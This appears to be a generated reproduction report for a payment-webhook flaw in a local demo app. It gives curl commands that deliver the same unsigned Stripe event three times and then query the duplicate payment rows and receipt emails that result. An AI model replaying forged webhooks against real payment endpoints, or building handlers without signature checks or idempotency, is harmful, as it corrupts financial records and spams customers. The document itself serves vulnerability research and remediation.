Failure mode: FM9 (research/FAILURE_MODES.md) · Severity: high · Reproduced: yes
Impact: Every retried or replayed Stripe event double-counts revenue and re-emails the client.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm09-webhook-replay.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:26.331Z.
Setup
sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)Steps
1. Deliver event evt_1QReplay000000001 (delivery 1 of 3, identical body)
sh
curl -s -X POST "$URL/functions/v1/stripe-webhook" \
-H "Content-Type: application/json" \
-d '{"id":"evt_1QReplay000000001","type":"checkout.session.completed","data":{"object":{"id":"cs_test_replay0001","amount_total":323500,"metadata":{"invoice_id":"cf7e5b03-cb30-4437-a00d-7485614db999"}}}}'Response: HTTP 200
json
{
"received": true
}2. Deliver event evt_1QReplay000000001 (delivery 2 of 3, identical body)
sh
curl -s -X POST "$URL/functions/v1/stripe-webhook" \
-H "Content-Type: application/json" \
-d '{"id":"evt_1QReplay000000001","type":"checkout.session.completed","data":{"object":{"id":"cs_test_replay0001","amount_total":323500,"metadata":{"invoice_id":"cf7e5b03-cb30-4437-a00d-7485614db999"}}}}'Response: HTTP 200
json
(omitted)3. Deliver event evt_1QReplay000000001 (delivery 3 of 3, identical body)
sh
curl -s -X POST "$URL/functions/v1/stripe-webhook" \
-H "Content-Type: application/json" \
-d '{"id":"evt_1QReplay000000001","type":"checkout.session.completed","data":{"object":{"id":"cs_test_replay0001","amount_total":323500,"metadata":{"invoice_id":"cf7e5b03-cb30-4437-a00d-7485614db999"}}}}'Response: HTTP 200
json
(omitted)4. Payments recorded for TWS-1002 (Saltmarsh Bakery, total $3235)
sh
curl -s "$URL/rest/v1/payments?select=amount,stripe_session_id,created_at&invoice_id=eq.cf7e5b03-cb30-4437-a00d-7485614db999" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"amount": 3235,
"stripe_session_id": "cs_test_replay0001",
"created_at": "2026-11-22T16:05:26.307+00:00"
},
{
"amount": 3235,
"stripe_session_id": "cs_test_replay0001",
"created_at": "2026-11-22T16:05:26.316+00:00"
},
{
"amount": 3235,
"stripe_session_id": "cs_test_replay0001",
"created_at": "2026-11-22T16:05:26.324+00:00"
}
]5. Function log (stdout of the edge function)
text
Receipt sent to ruth@saltmarshbakery.example for TWS-1002 ($3235)
Receipt sent to ruth@saltmarshbakery.example for TWS-1002 ($3235)
Receipt sent to ruth@saltmarshbakery.example for TWS-1002 ($3235)What this shows
- One payment of $3235 is now three rows totalling $9705. Revenue reports that sum payments overstate this invoice threefold.
- The client received three receipts for one payment.
- payments.stripe_session_id has no unique constraint and there is no processed-events table (schema.sql "[FM9]"). Stripe retries any delivery that times out or gets a non-2xx response, for up to 3 days in live mode.